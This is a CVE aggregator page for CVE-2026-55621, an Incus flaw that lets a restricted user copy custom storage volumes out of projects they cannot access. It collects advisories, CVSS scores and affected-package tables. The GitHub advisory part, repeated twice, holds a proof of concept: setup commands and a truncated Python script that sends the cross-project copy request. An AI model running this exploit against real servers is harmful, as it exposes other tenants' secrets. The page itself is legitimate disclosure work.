CVE-2026-55621
Incus has a project restriction bypass for custom volume copy across projects
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Incus has a project restriction bypass for custom volume copy across projects
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
CVE-2026-55621- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-05
EUVDEUVD-2026-63984
7.7
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
EUVD-2026-63984- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-05
GitHub AdvisoriesGHSA-64f3-v33m-w89f
7.7
Incus has a project restriction bypass for custom volume copy across projects
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
Assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-volume secret-vol --name copy-secret-vol \
--pool default --source-pool default \
--insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
…
- Record
GHSA-64f3-v33m-w89f- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-02
NVD
7.7
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
CVE-2026-55621- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-06
OSVALPINE-CVE-2026-55621
7.7
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
ALPINE-CVE-2026-55621- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-03
OSV
7.7
Incus has a project restriction bypass for custom volume copy across projects
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
CVE-2026-55621- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-07
Show 8 moreShow less
OSVDEBIAN-CVE-2026-55621
7.7
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
DEBIAN-CVE-2026-55621- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-64f3-v33m-w89f
7.7
Incus has a project restriction bypass for custom volume copy across projects
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
Assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-volume secret-vol --name copy-secret-vol \
--pool default --source-pool default \
--insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
…
- Record
GHSA-64f3-v33m-w89f- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-284
- Updated
- 2026-11-06
OSVUBUNTU-CVE-2026-55621
7.7
Incus is a system container and virtual machine manager. Prior to version 7.2.0, missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Version 7.2.0 patches the issue.
- Record
UBUNTU-CVE-2026-55621- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVGO-2026-6318 No score
Incus has a project restriction bypass for custom volume copy across projects in github.com/lxc/incus
Incus has a project restriction bypass for custom volume copy across projects in github.com/lxc/incus
- Record
GO-2026-6318- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11651-1 No score
incus-7.4-1.1 on GA media
These are all security issues fixed in the incus-7.4-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11651-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21812-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv
- GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4
- GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g
- GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg
- GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg
- GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v
- GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4
- GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x
- GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv
- GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp
- GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8
- GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp
- GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx
- GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f
- GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg
- GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc
- GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj
- GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw
- GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv
- GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc
- GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2
- GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv
- GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4
- GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c
- GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c
- GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x
- GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh
- GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx
- GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r
- GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3
- GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899
- GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f
- GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf
- GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8
- GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f
- GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v
- GO-2026-6354 CVE-2026-78662
- GO-2026-6355 CVE-2026-56855
- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.
- GO-2026-6303 CVE-2026-56854
- Record
openSUSE-SU-2026:21812-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23692-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv
- GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4
- GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g
- GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg
- GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg
- GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v
- GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4
- GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x
- GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv
- GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp
- GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8
- GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp
- GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx
- GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f
- GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg
- GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc
- GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj
- GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw
- GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv
- GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc
- GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2
- GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv
- GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4
- GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c
- GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c
- GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x
- GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh
- GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx
- GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r
- GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3
- GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899
- GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f
- GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf
- GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8
- GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f
- GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v
- GO-2026-6354 CVE-2026-78662
- GO-2026-6355 CVE-2026-56855
- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.
- GO-2026-6303 CVE-2026-56854
- Record
SUSE-SU-2026:23692-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23712-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv
- GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4
- GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g
- GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg
- GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg
- GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v
- GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4
- GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x
- GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv
- GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp
- GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8
- GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp
- GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx
- GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f
- GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg
- GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc
- GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj
- GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw
- GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv
- GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc
- GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2
- GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv
- GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4
- GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c
- GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c
- GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x
- GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh
- GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx
- GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r
- GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3
- GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899
- GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f
- GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf
- GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8
- GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f
- GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v
- GO-2026-6354 CVE-2026-78662
- GO-2026-6355 CVE-2026-56855
- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.
- GO-2026-6303 CVE-2026-56854
- Record
SUSE-SU-2026:23712-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lxc/incus/v7Go |
before 7.2.0 | 7.2.0 |
github.com/lxc/incus/v6Go |
through 6.23.0 | None known |
github.com/lxc/incusGo |
through 0.7.0 | None known |
incusAlpine:v3.24 |
before 7.0.1-r0 | 7.0.1-r0 |
incusDebian:13 |
before 6.0.4-2+deb13u8, plus listed versions 6.0.4-26.0.4-2+deb13u16.0.4-2+deb13u1~bpo12+16.0.4-2+deb13u26.0.4-2+deb13u2~bpo12+1 Show 10 moreShow less6.0.4-2+deb13u36.0.4-2+deb13u3~bpo12+16.0.4-2+deb13u46.0.4-2+deb13u4~bpo12+16.0.4-2+deb13u56.0.4-2+deb13u5~bpo12+16.0.4-2+deb13u66.0.4-2+deb13u6~bpo12+16.0.4-2+deb13u76.0.4-2+deb13u7~bpo12+1 |
6.0.4-2+deb13u8 |
incusDebian:14 |
before 7.0.0-5, plus listed versions 6.0.4-26.0.4-36.0.5-16.0.5-26.0.5-3 Show 23 moreShow less6.0.5-46.0.5-56.0.5-66.0.5-76.0.5-86.0.6-16.0.6-26.0.6-36.14.0-1~exp16.15.0-1~exp16.16.0-1~exp16.17.0-1~exp16.20.0-1~exp16.21.0-1~exp16.22.0-1~exp16.23.0-1~exp17.0.0-17.0.0-1~bpo13+17.0.0-27.0.0-2~bpo13+17.0.0-37.0.0-47.0.0-5~bpo13+1 |
7.0.0-5 |
lxdDebian:12 |
All versions, plus listed versions 5.0.2+git20231211.1364ae4-15.0.2+git20231211.1364ae4-25.0.2+git20231211.1364ae4-35.0.2+git20231211.1364ae4-45.0.2+git20231211.1364ae4-5 Show 12 moreShow less5.0.2+git20231211.1364ae4-65.0.2+git20231211.1364ae4-75.0.2+git20231211.1364ae4-85.0.2+git20231211.1364ae4-95.0.2-55.0.2-5+deb12u15.0.2-5+deb12u25.0.2-5+deb12u35.0.2-5+deb12u45.0.2-5+deb12u55.0.2-5+deb12u65.0.2-6 |
None known |
lxdDebian:13 |
before 5.0.2+git20231211.1364ae4-9+deb13u7, plus listed versions 5.0.2+git20231211.1364ae4-95.0.2+git20231211.1364ae4-9+deb13u15.0.2+git20231211.1364ae4-9+deb13u25.0.2+git20231211.1364ae4-9+deb13u35.0.2+git20231211.1364ae4-9+deb13u45.0.2+git20231211.1364ae4-9+deb13u55.0.2+git20231211.1364ae4-9+deb13u6 |
5.0.2+git20231211.1364ae4-9+deb13u7 |
github.com/lxc/incusGo |
All versions | None known |
github.com/lxc/incus/v6Go |
All versions | None known |
Show 11 moreShow less
| Package | Affected | Fixed |
|---|---|---|
govulncheck-vulndbSUSE:Linux Enterprise Server 16.0 From an advisory covering 39 CVEs |
before 0.0.20260902T191204-160000.1.1 | 0.0.20260902T191204-160000.1.1 |
govulncheck-vulndbSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 39 CVEs |
before 0.0.20260902T191204-160000.1.1 | 0.0.20260902T191204-160000.1.1 |
lxdUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 0.20-0ubuntu40.21-0ubuntu30.21-0ubuntu50.22-0ubuntu10.22-0ubuntu2 Show 45 moreShow less0.23-0ubuntu10.23-0ubuntu20.23-0ubuntu30.24-0ubuntu20.24-0ubuntu30.24-0ubuntu40.25-0ubuntu10.26-0ubuntu20.26-0ubuntu30.27-0ubuntu10.27-0ubuntu22.0.0~beta1-0ubuntu32.0.0~beta1-0ubuntu42.0.0~beta2-0ubuntu12.0.0~beta2-0ubuntu22.0.0~beta3-0ubuntu12.0.0~beta3-0ubuntu22.0.0~beta3-0ubuntu32.0.0~beta3-0ubuntu42.0.0~beta4-0ubuntu12.0.0~beta4-0ubuntu22.0.0~beta4-0ubuntu32.0.0~beta4-0ubuntu42.0.0~beta4-0ubuntu52.0.0~beta4-0ubuntu62.0.0~beta4-0ubuntu72.0.0~rc1-0ubuntu12.0.0~rc1-0ubuntu22.0.0~rc1-0ubuntu32.0.0~rc2-0ubuntu22.0.0~rc2-0ubuntu32.0.0~rc3-0ubuntu12.0.0~rc3-0ubuntu22.0.0~rc3-0ubuntu32.0.0~rc3-0ubuntu42.0.0~rc4-0ubuntu12.0.0~rc5-0ubuntu12.0.0~rc6-0ubuntu12.0.0~rc6-0ubuntu22.0.0~rc7-0ubuntu12.0.0~rc7-0ubuntu22.0.0~rc8-0ubuntu12.0.0~rc8-0ubuntu22.0.0~rc8-0ubuntu32.0.0~rc8-0ubuntu5 |
None known |
lxdUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 2.18-0ubuntu62.19-0ubuntu12.20-0ubuntu32.20-0ubuntu42.21-0ubuntu1 Show 18 moreShow less2.21-0ubuntu22.21-0ubuntu32.21-0ubuntu43.0.0~beta2-0ubuntu33.0.0~beta3-0ubuntu33.0.0~beta5-0ubuntu23.0.0~beta7-0ubuntu13.0.0-0ubuntu13.0.0-0ubuntu23.0.0-0ubuntu33.0.0-0ubuntu43.0.1-0ubuntu1~18.04.13.0.2-0ubuntu1~18.04.13.0.3-0ubuntu1~18.04.13.0.3-0ubuntu1~18.04.23.0.3-0ubuntu1~18.04.2+esm13.0.3-0ubuntu1~18.04.2+esm23.0.3-0ubuntu1~18.04.2+esm3 |
None known |
lxdUbuntu:20.04:LTS |
All versions, plus listed versions 1:0.71:0.81:0.91:0.10 |
None known |
incusUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 0.4-1ubuntu10.5.1-10.5.1-30.6-16.0.0-1 Show 7 moreShow less6.0.0-1ubuntu0.16.0.0-1ubuntu0.26.0.0-1ubuntu0.2+esm16.0.0-1ubuntu0.36.0.0-1ubuntu0.3+esm16.0.0-1ubuntu0.3+esm26.0.0-1ubuntu0.3+esm3 |
None known |
incusUbuntu:25.10 |
All versions, plus listed versions 6.0.3-46.0.4-2 |
None known |
incusUbuntu:26.10 |
All versions, plus listed versions 6.0.5-87.0.1-5 |
None known |
incusUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 6.0.4-26.0.5-86.0.5-8ubuntu0.26.04.1~esm1 |
None known |
incusopenSUSE:Tumbleweed From an advisory covering 21 CVEs |
before 7.4-1.1 | 7.4-1.1 |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 39 CVEs |
before 0.0.20260902T191204-160000.1.1 | 0.0.20260902T191204-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| references | OSV | |
| affected | EUVD, NVD | |
| references | CVE List | |
| facts, references | OSV | |
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55621 is a high vulnerability (CVSS 7.7) in Lxc Incus, published August 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 36th percentile. Fixed in github.com/lxc/incus/v7 7.2.0.
References
github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx
github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28
github.com/lxc/incus/releases/tag/v7.2.0
nvd.nist.gov/vuln/detail/CVE-2026-55621
github.com/advisories/GHSA-64f3-v33m-w89f
Show 67 moreShow less
security.alpinelinux.org/vuln/CVE-2026-55621
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55621.json
security-tracker.debian.org/tracker/CVE-2026-55621
github.com/lxc/incus
suse.com/support/update/announcement/2026/suse-su-202623692-1
suse.com/security/cve/CVE-2026-20909
suse.com/security/cve/CVE-2026-22547
suse.com/security/cve/CVE-2026-24690
suse.com/security/cve/CVE-2026-25712
suse.com/security/cve/CVE-2026-25718
suse.com/security/cve/CVE-2026-26232
suse.com/security/cve/CVE-2026-26247
suse.com/security/cve/CVE-2026-26307
suse.com/security/cve/CVE-2026-27657
suse.com/security/cve/CVE-2026-27878
suse.com/security/cve/CVE-2026-28705
suse.com/security/cve/CVE-2026-54746
suse.com/security/cve/CVE-2026-54754
suse.com/security/cve/CVE-2026-54755
suse.com/security/cve/CVE-2026-54766
suse.com/security/cve/CVE-2026-55064
suse.com/security/cve/CVE-2026-55065
suse.com/security/cve/CVE-2026-55066
suse.com/security/cve/CVE-2026-55067
suse.com/security/cve/CVE-2026-55068
suse.com/security/cve/CVE-2026-55108
suse.com/security/cve/CVE-2026-55245
suse.com/security/cve/CVE-2026-55484
suse.com/security/cve/CVE-2026-55569
suse.com/security/cve/CVE-2026-55588
suse.com/security/cve/CVE-2026-55621
suse.com/security/cve/CVE-2026-55622
suse.com/security/cve/CVE-2026-55678
suse.com/security/cve/CVE-2026-55761
suse.com/security/cve/CVE-2026-55763
suse.com/security/cve/CVE-2026-55764
suse.com/security/cve/CVE-2026-55784
suse.com/security/cve/CVE-2026-55785
suse.com/security/cve/CVE-2026-55834
suse.com/security/cve/CVE-2026-55873
suse.com/security/cve/CVE-2026-55874
suse.com/security/cve/CVE-2026-56854
suse.com/security/cve/CVE-2026-56855
suse.com/security/cve/CVE-2026-78662
suse.com/support/update/announcement/2026/suse-su-202623712-1
ubuntu.com/security/CVE-2026-55621
cve.org/CVERecord?id=CVE-2026-55621
github.com/canonical/lxd/pull/18603
suse.com/security/cve/CVE-2026-39402
suse.com/security/cve/CVE-2026-47753
suse.com/security/cve/CVE-2026-48749
suse.com/security/cve/CVE-2026-48750
suse.com/security/cve/CVE-2026-48751
suse.com/security/cve/CVE-2026-48752
suse.com/security/cve/CVE-2026-48753
suse.com/security/cve/CVE-2026-48754
suse.com/security/cve/CVE-2026-48755
